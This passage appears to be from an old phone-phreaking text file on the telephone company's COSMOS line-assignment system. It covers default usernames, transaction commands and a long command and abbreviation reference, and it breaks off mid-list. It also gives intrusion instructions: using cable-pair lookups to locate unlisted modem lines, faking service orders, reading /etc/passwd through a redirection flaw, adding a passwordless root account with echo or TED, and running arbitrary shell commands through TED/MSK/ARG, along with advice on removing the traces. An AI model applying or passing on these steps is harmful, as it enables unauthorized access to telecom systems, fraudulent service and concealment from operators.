ls, cd, cat, et cetera.
COSMOS usernames are usually issued as two letters corresponding to
whatever center will be using that account, and two numbers.
EX: LA01
Using the above example "LA01" there will most probably be numerous
"LA" accounts, possibly "LA01" through "LA15" or higher. This is true
for most COSMOS usernames. More often than not, all accounts used by the
same center will have the same password as well. Some common usernames
and their owners are:
ROOT System Manager
SYS System Manager
ML Loop Assignment
LA Loop Assignment
DN Main Distributing Frame
IN Repair Service
RS Repair Service
CE LNAC
LK Account to execute INQuiries only
JA Mizar
WLI Work Load Indicator
Usernames may vary from BOC to BOC, but these are fairly standard.
=============================================================================
COSMOS TRANSACTION COMMANDS
COSMOS commands are three letter acronyms. I will explain in
depth the commands I have found most useful, and then list
the remainder. Remember, do not attempt to learn the formats for COSMOS
transactions online. You will probably not figure out correct inputs, and
will most likely cause problems for the system manager and yourself.
Commands are entered in a specific ways. The command desired is
entered at the WC% prompt. A second string of data is entered at
the next line which designates the type of transaction desired.
This line is prefixed with on of the following four letters:
H - Header Line
I - In Line
O - Out Line
R - Remark Line
The most commonly used line is the H line. It is a required input in
almost all COSMOS transactions. From the second line on, COSMOS will
prompt with an underscore "_" as the system prompt, to let the user
know that it is waiting for input. When all needed data has been entered,
the command is executed by typing a "." at the beginning of a new line.
If you wish to process a command, but stay in command level in order to
process further commands after the one you are currently entering has
finished, a ";" can be entered at the beginning of a new line.
To cancel the transaction you are entering, a "Q" should be entered at
the beginning of a new line. To interrupt output, the break character
is "^C". When entering criteria, you may enter all like data (all H-line, all
I-line, etc...) on one line using a "/" between input prefixes:
EX: H TN 222-0000,222-9999/RMKT SWBT?/US 1FB
is the same as entering:
H TN 222-0000,222-9999
_H RMKT SWBT?
_H US 1FB
One of the most commonly used commands is INQ (Complete
Circuit Inquiry). There is also a short form of INQ called
ISH. This command requires only the use of H lines. Multiple H lines
can be entered to narrow a search or to print multiple reports.
Valid H line facilities used are:
BL Bridge Lifter
CON Concentrator
CP Cable Pair
CKID Circuit ID
MR Message Register
OE Office Equipment Number
PL Private Line Circuit Number
TK Trunk Cable and Pair Number
TN Telephone Number
TP Tie Pair
XN "X" Number
TRE Transmission Equipment
TER Terminal Number
GP Group Number
ORD Work Order
EX: To print information on telephone number 222-2222
WC% INQ
H TN 222-2222
_.
EX: To print information on cable pair 11-1111
WC% INQ
H CP 11-1111
_.
INQ will print a full report whatever circuit you examine, while ISH
will print a shorter, easier to read report. Below is an actual ISH
done on a Telenet node.
CA% ISH
H TN 225-8004
_.
TN 225-8004
ST AU DATE 06-03-83 HT GP 0-0081 BTN 225-8004 TYPE X
OE 006-012-200
ST WK DATE 03-04-86 CS 1FBH US 1BH FEA TNNL
LCC TF2
LOC WF12003
TER 0-0081-0001
ST WK
RMKG GTE.TELENET
CP 95-0701
ST WK DATE 01-24-86 RZ 13
LOC WF12009
TP 6105-0910
ST WK DATE 01-24-86
LOC F12003
LOC F42001
FROM FAC OE 006-012-200 TO FAC TP 6206-0107
TP 6206-0107
ST WK DATE 01-24-86
LOC F22029
LOC F42002
HUNT SEQUENCE FOR TN 225-8004
TER 0001-0040
** ISH COMPLETED 02-29-99 12:00
CA%
When you pull an inquiry on a number that you are interested in, you will
be given its cable pair, its order number, any numbers that connect to
it through a hunt sequence, and you will see any remarks entered about the
number. This information can prove to be very valuable. For instance:
You suspect that a company has a modem online, yet you don't want to waste
time sequentially dialing thousands of numbers. You can simply enter
an ISH on the number to get its cable pair, then begin pulling ISH
reports on cable pairs close to the main one. Then you need only dial
twenty or so numbers that are in the same area as the main number, and
you will find the computer.
Another extremely valuable command is SIR (Sorting Inquiry by Range).
With SIR, you can print the circuit information on all lines that match
specified criteria within a specified range of numbers. This command
requires only H line input, but numerous lines may be entered in order to
narrow down the search. You may also use the wildcard character ("?") to
encompass a larger range when doing a SIR. There are many applications
for SIR, but I will only show examples on a few I have found to be
most useful.
Many times entries have special remarks entered about the circuit. These
are usually entered as RMKT (Remarks on Telephone Number), but they may be
entered as RMKO (Remarks on Office Equipment) or RMKP (Remarks on Cable
Pair), depending upon what the person entering felt like typing.
Most of the time the remarks really don't correspond like they should.
Telephone companies are pretty thorough about remarking on a line that
they own and they will usually use the RMKT prefix.
EX: To find all telephone company (Southwestern Bell) lines in prefix 222
WC% SIR
H TN 222-0000,222-9999
_H RMKT SWBT?
_.
The "?" after SWBT acts as a wildcard. Typing SWB? would perform the same
search.
You may also want to search by STT (Telephone number status). Some types of
STT are:
AU Auxiliary
NP Non-published
OF Official (telco owned)
TS Test
Another way to distinguish types of number is by CS (Customer Class of
Service). CS values tend to vary from BOC to BOC, but business lines
will usually look like "1FB", or at least contain a "B". Residences
will usually look like "1FR." Sometimes telco lines are listed as "1OF",
but may also be entered as "1FB". On lines in a hunt group, the CS will
be appended with the letter "H", as "1FBH".
Let's say a company owns a block on an exchange (333) running from 1000 to
3500. You want to find all possible computer numbers in that area. Chances
are good that they are not listed.
EX:
WC% SIR
H TN 333-1000,333-3500
_H STT NP
_H CS 1FB
_.
The above would list all non-published business numbers from 333-1000
to 333-3500.
To find all numbers that are translated 800 numbers in the same prefix range
as above, you can do the following:
EX:
WC% SIR
H TN 333-1000,333-3500
_H PL ?800?
_.
This will prints reports on all private lines registered as 800 numbers.
There is also a shorter version of SIR, LTN (List Telephone Numbers), and a
more detailed version, GFR (General Facility Report), but I have found
SIR to be the better of the three to use for my purposes.
In order to change line attributes, or to create new lines you will need
to use two commands SOE (Service Order Entry), and RCP (Recent Change
Packager). These two commands are pretty detailed in what they can do,
so I will just cover a few of their options.
SOE will allow you to assign a new circuit, and specify the desired telephone
number, custom calling features, billing telephone number, etc.
SOE requires both "H" and "I" lines of input. The best way to enter
a new service order is to have COSMOS pick your new telephone number and
assign the needed office equipment number. If you want to pick your own
telephone number, the number you pick must have a status (STO) of SP, LI, RS,
or PD (with a disconnect date before the due date on your new service order).
This is so that you do not try to assign a number that is currently working
to your new service order. You can check this by doing an ISH on all the
variations of numbers you desire, and checking the STO. You can also get a
list of available numbers in a given prefix using the NAI command. You
should also do a SIR of recent entries, to try to find the proper format of
order numbers, so that you do not reuse one, or make one up that is formatted
incorrectly. Another method to make sure that you have the correct formatting
of order numbers is to call the phone company and request the installation of
a line in the area you are working in. They will tell you your service order
number for reference. Later, you can merely cancel the order. You will also
have to find a valid cable pair, so do an ISH on whatever number written in
your junction box that is not working, and then make sure there is no pending
connect orders entered on it.
To enter a service order for a new connection, having COSMOS pick an available
telephone number and assign proper office equipment numbers, you would do
the following:
EX:
WC% SOE
H ORD SO123456/OT NC/DD DD-MM-YY (Use valid Day, Month, Year for Due Date)
_I TN ?/US 1FR/FEA TNNL/OE ?/CP XX-YYYY (Use valid cable pair for XX-YYYY)
_.
You would now need to enter RCP and make a correctly formatted recent change
report for the order you entered so RCMAC can pick up the order and directly
enter it into the switch. What RCP does is take your order and change it into
actual switch programming, using templates that are stored in directories
corresponding to what type of switching equipment is used for that WC.
(EX: ess5a)
EX: To create a recent change package for the order entered above
WC% RCP
H ORD SO123455
_.
Using SOE you can specify custom calling features, you can specify billing
telephone numbers, you can establish service as coin, and several other
options by adding "I" line information corresponding to that particular
option.
_I CCF XXXXXX (XXXXXX is valid custom calling features)
_I BTN NNX-XXXX (NNX-XXXX is valid billing TN)
_I TT C
To get a list of spare (available) telephone numbers in a given prefix, you
can use the NAI (Telephone Number Assignment Inquiry) command. You only need
enter H line criteria. In addition to searching by prefix (NNX), you can
search by switch type (TYP), or rate zone (RTZ).
EX: To select one spare telephone number in 555 and make it reserved status
WC% NAI
H TT X/NNX 555/STT RS
_.
You may also have NAI print out several available numbers, however, you cannot
change the status unless you are printing one listing.
EX:
WC% NAI
H TT X/NNX 555/LC XX (Where XX is a number between 1 and 25)
_.
To get a listing of all prefixes that exist in the Wire Center you are
logged in under, you can use the command DDS (Display DS Table). This
command will list the ranges that exist for a given input.
To list all telephone numbers in a given WC:
WC% DDS
H TN ?
_.
To list all cable pair ranges:
WC% DDS
H CP ?
_.
To change from one Wire Center to another, you use the command WCC (Wire
Center Change). This is a very straight forward command.
EX:
WC% WCC NW
NW%
To allow for redirection in your COSMOS commands, you must execute the
DIO command. This command is rather important for manipulating commands
to work for you.
EX:
WC% DIO
To see what transactions other people logged in are running, you can use the
command TSNAP (on certain generics)
EX:
WC% TSNAP
There are about one hundred other COSMOS commands that are all defined at the
end of this file. I cannot go into detail on all of them but I will list them
and their meanings.
=============================================================================
COSMOS TRICKS
Even if you don't have full COSNIX access, you can basically execute
any command or read any file that exists in the system. Using the INQ
(or ISH) command and redirection, you can open and display any file.
EX: To display the password file
WC% INQ </ETC/PASSWD
This will display the file, however, since this is a flaw in the command,
it thinks the file is to be input for INQ, and each line will be preceded
with "ILLEGAL LINE TYPE", but this can be ignored.
Other files to look at:
/USR/FACS/WCFILE List of all Wire Centers
/ETC/MATRIX.P Permission Matrix (Who can execute what commands)
You may or may not want to try the following. There is a high probability
that you will be noticed on the system. If your local COSMOS ports are
usually left logged in, don't bother doing this. However, if your COSMOS
ports are always logged out, and you almost never get in, and you happen
to stumble upon one left logged for the first time in months, it might be
worth a try.
There are a few ways to make a new account on COSMOS; however, you need to
be able to write to the password file. Some systems allow this, but most do
not.
The easiest way involves using the echo command and redirection.
EX:
WC% echo "EB01::0::y:1:/tmp:/usr/cosmos:/usr/preop:/usr/so" >>/etc/passwd
This will add user EB01 to the end of the password file.
If you do not have access to echo you can do the same thing using the TED
command (Text Editor).
WC% TED >>/etc/passwd
S.O. NO.= SO123456
IS THIS A NEW S.O. (Y on NO) Y
1d
a
EB01::0::y:1:/tmp:/usr/cosmos:/usr/preop:/usr/so
^C
1p
w
q
After executing the above, you will need to clean up the /etc/passwd
file to remove the Service Order information put in there by TED. You will
also need to remove the service order you created from the /usr/so/WC
directory.
If you cannot find a way to get shell access, you can still execute
any COSNIX command you desire again using TED, MSK (Output a Transaction
Mask), and ARG (Assemble and Run a Given Master File).
EX:
WC% TED
S.O. NO.= SO123456
IS THIS A NEW S.O. (Y or NO) Y
12
1d
a
$*
run!
^c
w
q
WC% MSK >/usr/so/newcmd
SO123456
WC% ARG
newcmd ls /etc
To execute the command, you need to do ARG, then the name of the
file (which I called newcmd), then the COSNIX command you wish to
execute.
If you can use echo this can be done much easier.
EX:
WC% echo '$*' >/usr/so/newcmd
WC% echo 'run!' >>/usr/so/newcmd
Then you can run your command normally with ARG.
WC% ARG
newcmd cd ..
IF you do not have access to echo, create a newcmd file and you can use it
that way.
WC% ARG
newcmd echo EB01::0::y:1:/tmp:/usr/cosmos:/usr/so:/usr/preop >>/etc/passwd
=============================================================================
COSMOS COMMAND LISTING
ACE Establish an Assignment Change Ticket
AIT ANALIT Initialization of Tables
ARG Assemble and Run a Given Master File
AUD Assignment List Audit
BAI Bridge Lifter Assignment Inquiry
BYF Display the Bypass File
BYP Change the Contents of the Bypass File
CAY Create an Assembly
CCA Change Customer Attributes
CCT Initialize and Update the Contractor-Transducer File
CDA Change Distribution Attributes
CDD Change Due Date
CDR Cut Thru DIP Report
CFA Change Facility Attributes
CFP Print the Class of Service/Features for an Electromechanical Entity
CFU Change Facility Usage
CIE Company Establish Company Initiated Change
CLI COSMOS Processed ALIT Reports
CPI COSMOS-PREMIS Interface
CPM COSMOS Performance Monitor
CTC Complete a Cable Transfer or Complete a Cable Throw
CTE Cable Throw Order Establishment
CTF Display the Contacter-Transducer File
CTL Cable Throw with Line Equipment Assignment
CTM Cable Throw Modification
CTP Print Cable Transfer Frame Work
CTR Cable Throw Replacement
CTS Cable Throw Summary
CTW Withdraw a Cable Transfer or a Cable Throw
CUP Common Update Processor
CXC Complex Service Order Input Checker
CXM Centrex Table Management
CXT Complex Order Inquiry for NAC Review
DAY Delete an Assembly
DBL Data Base Load
DCN List Disconnected and Changed Numbers
DDS Display the DS Table
DIR Standard DIP Report
DPN DIP Purge Number
DPR DIP Report and Removal
DQR Design Quota System Report
DQS Design Quota System
DTE Print Current Date
EDZ Facility Emergency Assignment List
ELA Entity Load Analysis
ESP Print Entire Summary Table
FDY Set Fiscal Day for LAC
FLR Frame Layout Report
FOR Frame Order Report
FOS Frame Operations Summary
FTA Frame Transfer Analysis
FTC Frame Transfer Completion
FTE Frame Transfer Establishment
FTL Frame Transfer LETs
FTR Frame Transfer Reprint
FTW Frame Transfer Withdrawal
FWM Frame Work Management
GFR General Facility Report
GLA Generate Lists for Assignment
HBS Hunt Group Blocks of Spares
HGR Hunt Group Report
HGS Hunt Group Summary
HIS Hunting ISH
IJR Input a Jeopardy Reason
IMU Input Measured CCS Usage Data
INQ Complete Circuit Inquiry
ISF Inquire on a Single Facility
ISH Complete Circuit Inquiry Short
JAM Jumper Activity Management
JPH Jumper Placement History
KPR Killer Pair Report
KSM Create a Transaction Mask
LAI Line Equipment Assignment Inquiry
LBP Load Balance Parameters
LCD LIST Cable Summary, LIT Demand Test
LCP List Cable Pairs
LEE NAC Related Line Equipment Transfer Order Establishment
LEW Line Equipment Transfer Withdrawal
LFC Load Factor Calculation
LFR Line Failure Report
LGN List Hunt Groups
LIN Transmit ALIT Data to COSMOS
LOE List Originating Line Equipment
LSE Line and Station Transfer Order Establishment
LSW Line and Station transfer Withdrawal
LTN List Telephone Numbers
MAL Manual Assignment List
MAP Manual Assignment Parameters
MAQ Manual Assignment File Inquiry
MAY Modify an Assembly
MCE Establish a Maintenance Change Ticket
MCH Manually Change Hunt
MCL Maintenance Change List
MCR Establish a Maintenance Change Repair
MCW Maintenance Change Ticket Withdrawal
MDC Manually Disconnect a Working Circuit
MEC Manually Establish a Circuit
MMC Manually Modify a Circuit
MOC MOE Order Completion
MOE Mass OE Transfers
MOF Mass OE Frame Transfer Listings
MOW MOE Order Withdrawal
MPK Modify Work Package
MSK Output a Transaction Mask
MTR Manually Test a Response
NAI Telephone Number Assignment Inquiry
NOL NAC Service Order Listing
NSD Number Summary Display
OIJ Orders in Jeopardy
OPN Open-of-Day Report
OPU Outside Plant Cable Usage
PAK Work Packages
PEP Position Establishment for Parties
PFR Party Line Fill Report
PRP Periodic Purging of Remarks
QEX Question an Execution
QUE Queue
RAL Relay Assignment List
RAP Relay Assignment Parameters
RAS Release Sequence Number Lists and Related TN/OE
RBS Print TBS Relays Assignment Record
RCP Recent Change Packager
RCR Recent Change Report
RCS Recent Change Summary
RED Recent Change Message Text Editor
REL Release Non-Intercepted Numbers by Release Date
REM Remove Frame Locations
RET Retermination of Frame Locations
REX Reexecute a Service Order
RJR Remove Jeopardy Reason Codes
RMP Recent Change Punctuation Table
RNA Release Telephone Numbers for Assignment
ROE Reservation Order Establishment
ROI Reservation Order Inquiry
ROW Reservation Order Withdrawal
RTH Report Transaction to Count Spare and DIPed Line Equipment
RTS Relay and Telephone Number Status Report
RUP Request Unsolicited Processing
SAI Summary of Action Items
SCA Service Order Completion-Automatic
SCF Simple Completion for MDF
SCI Spare Cable Pair Inquiry
SCM Standard Completion by MDF
SCP Service Order Completion by LAC
SCR Standard Completion by RCMAC
SEL Selecting Lines for an Exchange Class of Service Study
SET Statistics on Equipment and Telephone Numbers
SGH Supply Relays for Groups of 5XB Hunts
SIR Sorting Inquiry by Range
SLC Subscriber Line Counts for Custom Calling Features
SOC Service Order Cancel
SOE Service Order Establishment
SOF Service Order Fix
SOH Service Order Withheld
SOI Service Order Assignment Inquiry
SOL Service Order Listing
SOM Modify a Pending Service Order
SOW Service Order Withdrawal
STN Summarize Telephone Numbers
SVL Service Observing Loops
TAI Tie Pair Assignment Inquiry
TAT Test Alignment of Frame Terminal
TED Text Editor
TET Display or Change Band Filter File, Retention Factor and Print Threshold
TFC Transfer Frame Changes
TIG Dial Transfer Input Generator
TLC Translate LANAVAR/CPS
TNS Telephone Number Swap
TOC Transfer Order Completion
TOE Transfer Order Establishment
TOF Mass OE Transfer Order Frame Listings
TOI Dial Transfer Order Inquiry
TOL Transfer Order Lists
TOO Transfer Order Omissions
TOW Transfer Order Withdrawal
TPU Tie Pair Usage Report
TRC Transfer Order Recent Change Report
TRI Transmission Equipment Assignment Inquiry
TRW Total Reservation Order Withdrawal
TSL Line Equipment Summary Report
TSN Traffic Statistics on Telephone Numbers
TSW Total Service Order Withdrawal
TTY Get TTY Name
TXC Text Checker
TXM Transfer Centrex Management
UDP Update DIP Parameters
UES Update the Entity Summary Table
UFO Unprinted Frame Orders
UPC Update CCS vs. Class of Service Table
USL List USOC (US) File Data
UTC Update Table for Concentrator Redesign
WCC Change Wire Center
WCT Worksheet for Cable Throw Orders
WFL Working Frame Location
WOI Work Order Inquiry
WOL Work Order Listing
WPT Work Package Table
WSL Work Status List
WUL Work Unit Report for Subscriber Line Testing and Installation Assignment
=============================================================================
COSMOS ABBREVIATIONS AND FORMATS
The following will be given as follows:
Prefix and Meaning
Format
Code Value and Meaning
AC Assembly category
AC XXXX
PERM=Permanent Facility Assemblies
TEMP=Temporary Facility Assemblies
AC Assembly Code
AC XXX
XXX=1-999
ADSR Administration of Designed Services Review
ADSR X
Y=Yes, TIRKS Circuit
N=No, COSMOS Circuit
AGM Normal Aging Months
AGM XX
XX=Number of Months
AGT Accelerated Aging Type
AGT XXX
BUS=Business
RES=Residential
AI Assigner's Initials
AI XXX
XXX=3 Alphanumeric Characters
AO Allocation Order
AO XX
XX=Two Numeric Characters
AR Advance Relay
AR XYY-ZZZ
X=Marker Group
YY=Number Group from Frame
ZZZ=Relay Number
ATN Assigner's Telephone Number
ATN XXX-XXXX
XXX-XXXX=Assigners TN
BL Bridge Lifter
BL XX...XX
XX...XX=Maximum of 17 Alphanumeric Characters
BLS Bridge Lifter Status
BLS X
Y=Yes
N=No
BND Band Number
BND X
X=0-3
BTN Billing Telephone Number
BTN XXX-XXXX
XXX-XXXX=Billing Telephone Number
CA Cable Number
CA XX...XX
XX...XX=Maximum of 10 Alphanumeric Characters
CAT Centrex Access Treatment
CAT XX
XX=Maximum of 2 Numeric Characters
CC Call Count
CC XX
XX=Maximum of 2 Numeric Characters
CCF Custom Calling Features
CCF XXXXXX
XXXXXX=3 to 6 Alphanumeric Characters
CCS Hundred Call Seconds
CCS XXXX
XXXX=3 or 4 Numeric Characters
CEU CCS Estimated Usage
CEU XXXX
XXXX=3 or 4 Numeric Characters
CG Control Group Number
CG X
X=0-9
CKID Circuit Identification
CKID XX...XX
XX..XX=Maximum of 61 Alphanumeric Characters
CKL Circuit Location
CKL XXXX
XXXX=Maximum of 4 Alphanumeric Characters
CLC Common Language Code for an Entity
CLC XX...XX
XX...XX=Maximum of 11 Alphanumeric Characters
CLCI Common Language Circuit Identification
CLCI XX...XX
XX...XX=Maximum of 61 Alphanumeric Characters
CLEI Common Language Equipment Identifier
CLEI XX...XX
XX...XX=Maximum of 10 Alphanumeric Characters
CLF Creating DIPs Upper Bound Load Factor
CLF XX
XX=1-10
CLL Creating DIPs Lower Bound Load Factor
CLF X
X=1-9
CLS CLCI in Serial Number Format
CLS XX...XX
XX..XX=Maximum of 61 Alphanumeric Characters
CLT CLCI Telephone Number Format
CLT XX...XX
XX...XX=Maximum of 61 Alphanumeric Characters
CMF Capacity Main Station Fill
CMF XXXXXX
XXXXXX=Maximum of 6 Numeric Characters
CMU CCS Measured Usage
CMU XXXX
XXXX=3 or 4 Numeric Characters
COM Complement Size
COM XXXX
XXXX=1-9999
CON Concentrator
CON XX-YY
XX=Maximum of 2 Alphanumeric Characters
YY=Maximum of 2 Numeric Characters
CP Cable and Pair Number
CP XX...XX-YZZZ
XX...XX=Cable ID, Maximum of 10 Alphanumeric Characters
YZZZ=Cable Pair ID
Y=Alphanumeric
ZZZ=Numeric
CPU CCS Capacity Usage
CPU XXXX
XXXX=3 or 4 Numeric Characters
CRG CREG Tag
CRG XXX
XXX=YES or NO
CS Customer Class of Service
CS XXXXXX
XXXXXX=Maximum of 6 Alphanumeric Characters
CTID Circuit Termination Identification
CTID XX...XX
XX...XX=Maximum of 61 Alphanumeric Characters
CTT Cut Through Tag
CTT XXX
XXX=YES or NO
CTX Centrex Group Number
CTX XXXX
XXXX=Maximum of 4 numeric Characters
DC Dial Code
DC X
X=1 Alpha Characters
DD Due Date
DD MM-DD-YY
MM=Month
DD=Day
YY=Year
DID Direct Inward Dialing
DID XXXX
XXXX=Maximum of 4 Numeric Characters
DIP DIP Creation Option
DIP X
Y=Yes
N=No
DNY Denial of Service for Non-payments
DNY X
I=Incoming
O=Outgoing
B=Both
DPA Different Premises Address
DPA XXX
XXX=Maximum of 3 Alphanumeric Characters
DPT Department Name
DPT XXX
XXX=Maximum of 3 Alphanumeric Characters
DST Destination of Order Response
DST XXXX
XXXX=Maximum of 4 Alphanumeric Characters
DT Due Time
DT XX
XX=AM, PM, or 0-9
EC ESS Entity and Control Group Number
EC YZ
Y=Entity Number
Z=Control Group Identifier
ECS Equipment Class of Service
ECS XXXXXX
XXXXXX=Maximum of 6 Alphanumeric Characters
ED Enter Date
ED MM-DD-YY
MM=Month
DD=Day
YY=Year
EN Entity
EN X
X=S, E, 1, 5 or 0
EN Entity Number
EN X
X=0-9
ENT Entity Number
ENT X
X=0-9
EO Error Handling Option
EO XX
CE=Continue Processing and Establish Valid Circuits
CW=Continue Processing and Withdraw Established Circuits
SE=Stop Processing and Establish Valid Circuits
SW=Stop Processing and Withdraw Established Circuits
EQF Equipment Features
EQF WXYZ
W=R (Rotary) or T (Touchtone)
Y=S (Sleeve) X (Range Extension) or N (Non-sleeve or Non-range Extension)
X=E (Essential) or N (Non-essential)
Z=G (Ground Start) or L (Loop Start)
EQV Frame Equivalence
EQV FXX
F=The Letter "F"
XX=Two Alphanumeric Characters
ETC Estimated Trunk CCS Value
ETC XXXX
XXXX=Maximum of 4 Alphanumeric Characters
EXD ECS Crossloading Option
EXD XXX
XXX=YES or NO
FAC Type of Segment List Being Audited
FAC XX
TN=Telephone Number
OE=Line Equipment
FAC Circuit Confiruration
FAC XXX or
FAC TN-NNX or
FAC CP-XX...X or
FAC SE-YY...Y or
FAC PL-ZZ...Z
XXX=Any Facility Prefix
NNX=Three Alphanumeric Characters
XX...XX=Maximum of 10 Alphanumeric Characters
YY...YY=Maximum of 52 Alphanumeric Characters
ZZ...ZZ=Maximum of 61 Alphanumeric Characters
FC From Cable
FC XX...XX
XX...XX=Maximum of 10 Alphanumeric Characters
FDD Frame Due Date
FDD MM-DD-YY
MM=Month
DD=Day
YY=Year
FEA Customer Feature
FEA XXXX
(Same as EQF)
FILT Filter
FILT XXX
XXX=Y, YES, N, or NO
FR Frame Identification
FR FXX
F=The letter "F"
XX=Two Alphanumeric Characters
FT Frame Time
FT XX
XX=01-24
FW MDF Output Suppressed
FW X
Y=Frame Work Yes
N=Frame Work No
GP MLHG Group Number
GP Y-XXXX
Y=Alphanumeric Control Group
XXXX=Numeric Group Number
GSO Ground Start Option
GSO X
1=Assigned to any OE in the Entity
2=Assigned to Even Levels
3=Only Assigned to OE Specified as Ground Start
HC Hunt Count
HC XXXX
XXXX=Maximum of 4 Numeric Characters
HF Hunt-from Telephone Number
HF XXX-XXXX
XXX-XXXX=Telephone Number
HLC Highest Lead Factor Group Count
HLC XXXX
XXXX=1-9999
HR Held Order Reason Code
HR XX
CE=Equipment Shortage
CF=Lack of Facility
CL=Plant Load
CO=General Company Reasons
C1-C5-Additional Company Reasons
SA=Subscriber Access
SL=Subscriber Requested Later Date
SO=General Subscriber Reasons
SR=Subscriber Not Ready
S1-S5=Additional General Subscriber Reasons
HRS Hours Prefix
HRS XX
XX=01-24
HT Hunt-to Telephone Number
HT XXX-XXXX
XXX-XXXX=Telephone Number
HTG Hunt-to Group Number
HTG Y-XXXX
Y=Alphanumeric Control Group
XXXX=Numeric Group Number
HTX Hunt-to X Number
HTX XXX-YYXX of
HTX XXX-YXX
Y=Alphanumeric
X=Numeric
INIT Allocation Table Initalization
INIT
(No Data Entry)
ITM Cable Pair Item Number
ITM XX
XX=Two Numeric Characters
JL Jumper Length
JL XXX
XXX=Maximum of 3 Numeric Characters
JR Jeopardy Reason
JR XX
A1=Assignment Error on CP
A2=Assignment Error on OE
A3=Assignment Error on TN
A4-A9=Other Assignment Error
C1=No SSWO for Circuit Design Group
C2-C9=Local Code for Circuit Design Group
E1-E9=No ESS Translations
IB=No Installation Go-ahead for Business
IC=No Installation Go-ahead for Coin
ID=No Installation Go-ahead for Data
IR=No Installation Go-ahead for Residence
IS-No Installation Go-ahead for Special
I1-I4=Local Codes foir No Installation Go-ahead
RB=Business RSB
RC=Coin RSB
RD=Data RSB
RR=Residence RSB
RS=Special RSB
R1-R4=Local Use for RSB
LC Output Line Count
LC XXXX
XXXX=0-9999
LC Line Count
LC XXX
XXX=0-999
LC Pending Service Order Count
LC
(No Data Entry)
LCC Line Class Code
LCC XXX
XXX Maximum of 3 Alphanumeric Characters
LD Loading Division
LD XX
XX=Two Numeric Characters
LDN Listed Directory Number
LDN XXX-XXXX
XXX-XXXX=Telephone Number
LF Load Factor
LF XX
XX=1-10
LIM Less Than the Specified Number of Pairs
LIM XX
XX=0-50
LIM High Limit on Number of Specified Status Pairs in a Complement
LIM XX
XX=0-50
LIM Low Limit on Number of Spare Line Equipment in Vertical Files
LIM XX
LIM=1-10
LLC Low Load Group Count
LLC XXXX
XXXX=0-9999
LOC Location
LOC FXXYYY
F=The Letter "F"
XX=Alphanumeric
YYY=001-999
LP Loop Range
LP XXX;XXX
XXX;XXX=Six Numeric Characters
LS List New Pending Cable Transfers
LS XXX
XXX=NEW
LTI Loop Termination Identifier
LTI XXX
XXX=Three Alphanumeric Characters
MASK Office Equipment Mask
MASK OE ID
ID=XXX-XXX-XXX =1ESS
ID=XXX-XXXX =2ESS
ID=XXX-XXXX =3ESS
ID=XXXX-XXX-XX =5ESS
ID=XXXX-XX-XX =5ESS
ID=XXXX-X-XXXX =RSS
ID=XXXX-XXX-XX =1XB
ID=XXXX-XXXX-XX =1XB
ID=XXX-XX-XX =5XB
ID=XXXX-XXX =SXS
ID=XXX-X-XX-X =DMS-10
ID=XXX-X-XX-XX -DMS-100
X=Alphanumeric
MAT Manual Assistance Tag
MAT XXX
XXX=YES or NO
MAX Maximum Percentage Value of Entity Fill or Maximum CCS Value
MAX XXX
XXX=Maximum of 3 Numeric Characters
MBL Mini-bridge Lifter Tag
MBL XX
Y=MBL Working on CP
N=CP Can't Support MBL
EQ=CP has MBL Capabilities
MC Marker Class of Service
MC XX
XX=Two Alphanumeric Characters
MF Recent Change Message Format
MF XXXX
NEW=RX:LINE:messages
OUT=RC:LINE:OUT:messages
CHG=RC:LINE:CHG:messages
SUSP=RC:LINE:CHG:messages of suspended service
MF Jumper Listing for MDF
MF XXX
NEW=Running Jumper Listing
DJ=Dead Jumper Listing
MF Message Format When Completing Transfer Circuits with TOC
MF XXX
ALL=Message is Printed for Every Circuit in Range
ERR=Message Printed Only for Circuits not Completed
MF Message Format for Dial Transfer Number Lists
MF XXX
GVR=Transaction GFR Output Format, One Facility per Line
LVT=Line Verification Test Format
TLC=Two-line Condensed Format
MG Marker Group Number
MG X
X=0-9
MIN Minimum Percentage Value of Entity Fill or Minimum CCS Value
MIN XXX
XXX=Maximum of 3 Numeric Characters
MLP Multi-loop Resistance Zone Threshold
MLP XX
XX=Two Numeric Characters
MOD Module Number
MOD XXX
XXX=Three Numeric Characters
MODE Integrated SLC No. 5ESS Mode
MODE X
1=5 T1 Carrier Channels
2=3 T1 Carrier Channels
MPN Master Work Package Number
MPN XXXX
XXXX=1-9999
MR Message Register
MR XXXXXX
XXXXXX=Maximum of 6 Alphanumeric Characters
MRO Message Register Option
MRO XXX
XXX=YES or NO
MT Master Record Tape Unit Number or Tape Drive to Write
MT X
X=Numeric
MTR Tape Drive to Read
MTR X
X=Numeric
MTW Tape Drive to Write
MTW X
X=Numeric
NAR NAC Assignment Review
NAR XXX
XXX=Maximum of 3 Numeric Characters
NGF Number Group Frame for 5XB
NGF XXX
XXX=Three Numeric Characters
NNX Telephone Exchange Code
NNX XXX
XXX=THree Numeric Characters
NOE Number of OEs to be Assigned
NOE X
X=0 or 1
NPA Area Code and Exchange Number
NPA XXXXXX
XXXXXX=Six Alphanumeric Characters
NRM Normalizing CCS VAlue
NRM XX
XX=0-99
NTN Number of TNs to be Assigned
NTN X
X=0 or 1
OA Line Equipment Assignment Option
OA X
Y=Yes
N=No
OC Order Category
OC XXX
ACT=Assignment Change Ticket
ALL=All OE Load Factors
CPC=Special Service
FM=Count Since OE Input Features Occurrences
FO=Count All OE Input Feature Occurrences
HOT=Frame Ouput-urgent
JR=Jeopardy Reason
OCS Old Class of Service
OCS XXXXXX
XXXXXX=Maximum of 6 Alphanumeric Characters
OD Output Device
OD XXXX
TT=Send Output to Current Terminal
TTXX=Send Output to Specified Terminal XX
MTX=Send Output to Magnetic Tape X
OE Office Equpiment Number
OE ID
(See MASK)
OGO Outgoing Only Trunk
OGO XXX
XXX=Maximum of 4 Numeric Characters
OPT Party Assignment Option
OPT X
1=Assign Multi-party Customers to Spare Party Equipment
2=Assign Multi-party Customer to Partially Equipped Party Equipment
3=Assign Only One Multi-Party Customer to each Single Party Equipment
ORD Service or Work Order
ORD XX...XX
XX...XX=Maximum of 20 Alphanumeric Characters
OT Service or Work Order Type
OT XXX
BT=Background Transfer
CD=Complete Disconnect
CH=Changed
CIO=Company Initiated Orders
F="FROM"
LET=Line Equipment Transfers
LST=Line and Station Transfers
MCE=Maintenance Change by LAC
MCR=Maintenance Change by Repair
MCT=All Maintenance Changes
NC=New Connect
R=Remarks
REA=Pending Reassociation
SW=Swap
T="TO"
PBX Private Branch Exchange
PBX XXXX
XXXX=Maximum of 4 Numeric Characters
PCID Primary Circuit Identification
PCID XX...XX
XX...XX=Maximum of 61 Alphanumeric Characters
PKT Picket Fence Values
PKT XXX.X,...,XXX.X
XXX.X,...,XXX.X=Nine sets of Four Numeric Characters or
